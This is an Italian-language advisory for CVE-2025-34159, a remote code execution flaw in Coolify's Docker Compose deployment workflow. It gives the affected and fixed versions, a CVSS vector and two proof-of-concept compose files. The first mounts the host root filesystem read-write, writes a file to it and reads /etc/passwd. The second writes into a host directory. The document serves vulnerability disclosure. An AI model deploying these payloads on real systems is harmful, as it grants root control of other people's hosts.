
Una vulnerabilità critica di Remote Code Execution (RCE) esiste nel flusso di lavoro di distribuzione delle applicazioni di Coolify. Questa falla consente a un membro con privilegi bassi di iniettare direttive Docker Compose arbitrarie durante la creazione o l'aggiornamento del progetto. Definendo un servizio dannoso che monta il file system host, un attaccante può ottenere l'esecuzione di comandi a livello root su
| Campo | Valore |
|---|---|
| ID CVE | CVE-2025-34159 |
| Interessa | Coolify ≤ v4.0.0-beta.420.6 |
| Corretta in | v4.0.0-beta.420.7 |
| Gravità | Critica |
| CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| CWE | CWE-78 (Iniezione di comandi del sistema operativo), CWE-20 (Validazione degli input non corretta) |
Una vulnerabilità critica di esecuzione di codice remoto (Remote Code Execution, RCE) è presente nel flusso di lavoro di distribuzione delle applicazioni di Coolify. Questa falla consente a un membro con privilegi limitati di iniettare direttive Docker Compose arbitrarie durante la creazione o l'aggiornamento di un progetto. Definendo un servizio dannoso che monta il filesystem dell'host, un attaccante può ottenere l'esecuzione di comandi a livello di root sul sistema operativo host, bypassando completamente l'isolamento dei container.
La vulnerabilità risiede nel flusso di lavoro di distribuzione dei progetti, in cui le configurazioni Docker Compose fornite dall'utente vengono elaborate senza una sufficiente validazione o sandboxing.
version: '3.8'
services:
poc-host-root:
image: alpine:3.19
tty: true
volumes:
- /:/host:rw
command: >
sh -c "
echo '[*] Proof of RCE on host' &&
echo 'RCE by Eyodav' > /host/tmp/proof_rce.txt &&
whoami &&
id &&
uname -a &&
head -n 5 /host/etc/passwd
"
Risultato: Dopo la distribuzione, /tmp/proof_rce.txt appare sul sistema host, confermando la RCE con privilegi di root.
version: '3.8'
services:
poc-host-write:
image: alpine:3.19
tty: true
volumes:
- /home/eyodav/PoC:/host
command: >
sh -c "
set -e;
mkdir -p /host &&
echo '[*] Writing PoC file to host mount...' &&
echo RCE_PoC_from_container_$(date) > /host/RCE_PoC.txt &&
cd /host &&
pwd &&
ls -la
"
/tmp/proof_rce.txt) o esaminando l'output dei comandi nei log di distribuzione